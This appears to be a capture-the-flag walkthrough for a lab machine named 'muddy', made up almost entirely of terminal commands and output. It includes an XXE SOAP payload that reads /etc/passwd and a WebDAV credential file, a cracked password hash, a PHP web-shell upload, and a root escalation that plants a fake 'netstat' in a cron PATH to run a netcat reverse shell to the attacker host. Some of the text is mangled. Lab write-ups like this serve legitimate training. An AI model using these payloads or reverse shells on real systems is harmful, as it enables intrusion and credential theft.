

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.166.161 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.166.161:22
Open 192.168.166.161:25
Open 192.168.166.161:80
Open 192.168.166.161:111
Open 192.168.166.161:443
Open 192.168.166.161:908
Open 192.168.166.161:808
Open 192.168.166.161:8888

PORT      STATE SERVICE      REASON      VERSION
22/tcp    open  ssh          syn-ack     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp    open  smtp         syn-ack     Exim smtpd
| smtp-commands: muddy Hello nmap.scanme.org [192.168.45.244], SIZE 52428800, 8BITMIME, PIPELINING,
CHUNKING, PRDR, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp    open  http         syn-ack     Apache httpd 2.4.38 ((Debian))
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: Did not follow redirect to http://muddy.ugc/
111/tcp   open  rpcbind      syn-ack     2-4 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000  2,3,4      111/tcp    rpcbind
|   100000  2,3,4      111/udp    rpcbind
|   100000  3,4        111/tcp6   rpcbind
|_  100000  3,4        111/udp6   rpcbind
443/tcp   closed https          conn-refused
808/tcp   closed ccproxy-http  conn-refused
908/tcp   closed unknown      conn-refused
8888/tcp  open  http         syn-ack     WSGIServer 0.1 (Python 2.7.16)
``` google[CVE-2019-1010268] (https://vk9-sec.com/xxe-ladon-framework-for-python-xml-external-entity-
expansion-cve-2019-1010268/) can get `/etc/passwd`,
```

```
(kali㉿kali)-[~/pgplay]
└─$ curl -s -X POST '\
```

```

-H Content-Type: text/xml;charset=UTF-8'
-H SOAPAction: "http://muddy.ugc:8888/muddy/soap11/checkout"
--data-binary <?xml version="1.0"?>
quote> <!DOCTYPE uid
quote> [<!ENTITY passwd SYSTEM "file:///etc/passwd">
quote>]>
quote> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
quote> xmlns:xsd="http://www.w3.org/2001/XMLSchema"
quote> xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
quote> xmlns:um="um:HelloService"><soapenv:Header/>
quote> <soapenv:Body>
quote> <um:checkout soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
quote> <uid xsi:type="xsd:string">&passwd;</uid>
quote> </um:checkout>
quote> </soapenv:Body>
quote> </soapenv:Envelope>'
'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="um:muddy"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<ns:checkoutResponse>
<result>Serial number:
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev
data:x:33:33:www-
data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting
System
(admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534:/nonexiste
timesync:x:101:102:systemd Time Synchronization,,,/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd
Network Management,,,/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd
Resolver,,,/run/systemd:/usr/sbin/nologinmessagebus:x:104:110:/nonexistent:/usr/sbin/nologinsshd:x:105:65534:/run/ssh:/usr/sbi
coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologinmysql:x:106:112:MySQL
Server,,/nonexistent:/bin/falseian:x:1000:1000:/home/ian:/bin/shDebian-
exim:x:107:114:/var/spool/exim4:/usr/sbin/nologin_rpc:x:108:65534:/run/rpcbind:/usr/sbin/nologinstdatd:x:109:65534:/var/lib/nfs.
</ns:checkoutResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
''' use /var/www/html/webdav/passwd.dav

```

```

(kali㉿kali)-[~/pgplay]
└─$ curl -s -X {{content}}#x27;POST' \
> -H {{content}}#x27;Content-Type: text/xml;charset=UTF-8' \
> -H {{content}}#x27;SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
> --data-binary {{content}}#x27;<?xml version="1.0"?>
quote> <!DOCTYPE uid
quote> [<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">
quote>]>
quote> <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
quote> xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
quote> xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
quote> xmlns:urn=\"urn:HelloService\"><soapenv:Header/>
quote> <soapenv:Body>
quote> <urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
quote> <uid xsi:type=\"xsd:string\">&passwd;</uid>
quote> </urn:checkout>
quote> </soapenv:Body>
quote> </soapenv:Envelope>' \
> 'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="urn:muddy"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
 <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <ns:checkoutResponse>
 <result>Serial number: administrant:$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0</result>
 </ns:checkoutResponse>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
``` then use john`Serial number`

```

Serial number: administrant:\$apr1\$GUG1OnCu\$uiSLaAQojCm14lPMwISDi0

```

(kali㉿kali)-[~/pgplay]
└─$ john administrant --wordlist=/home/kali/rockyou.txt

```

sleepless(?)

``` [hacktricks \(https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav\)](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav) can log in webdav server, can upload shell.php

```

(kali㉿kali)-[~/pgplay]
└─$ cadaver http://192.168.166.161/webdav
Authentication required for Restricted Content on server `192.168.166.161':
Username: administrant
Password: sleepless

dav:/webdav/> put shell.php
Uploading shell.php to `/webdav/shell.php':
Progress: [=====] 100.0% of 5493 bytes succeeded.
``` Open nc, Go to `http://muddy.ugc/webdav/shell.php`, wait for reverse shell, `/var/www` path get local.txt

```

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001

```

\$ python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data@muddy:/\$ whoami

www-data

www-data@muddy:/var/www\$ cat local.txt

de5d7ed8be7f2bd5c0a3b9167d7ccc8d

``` use linpeas.sh

```

www-data@muddy:/tmp$ wget 192.168.45.244/linpeas.sh
www-data@muddy:/tmp$ chmod +x linpeas.sh
www-data@muddy:/tmp$./linpeas.sh

Cron jobs
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
@reboot /usr/local/bin/ladon-2.7-ctl testserve /var/tmp/ladon/muddy.py -p 8000
incrontab Not Found
-rw-r--r-- 1 root root 1187 Mar 20 2021 /etc/crontab

SHELL=/bin/sh
PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.daily)
47 6 * * 7 root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.weekly)
52 6 1 * * root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.monthly)
* * * * * root netstat -tlnp > /root/status && service apache2 status >> /root/status && service
mysql status >> /root/status
```find`PATH` `/dev/shm`, `/dev/shm`netstat,

```

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9002

```

```

www-data@muddy:/dev/shm$ echo "/usr/bin/nc 192.168.49.244 9001 -e /bin/bash" > netstat
<in/nc 192.168.49.244 9001 -e /bin/bash" > netstat
www-data@muddy:/dev/shm$ chmod 777 netstat

```

whoami

root

python3 -c 'import pty; pty.spawn("/bin/bash")'

```

root@muddy:~# cat proof.txt
b96f04e2770b19cf5c2aced2ca778c96

```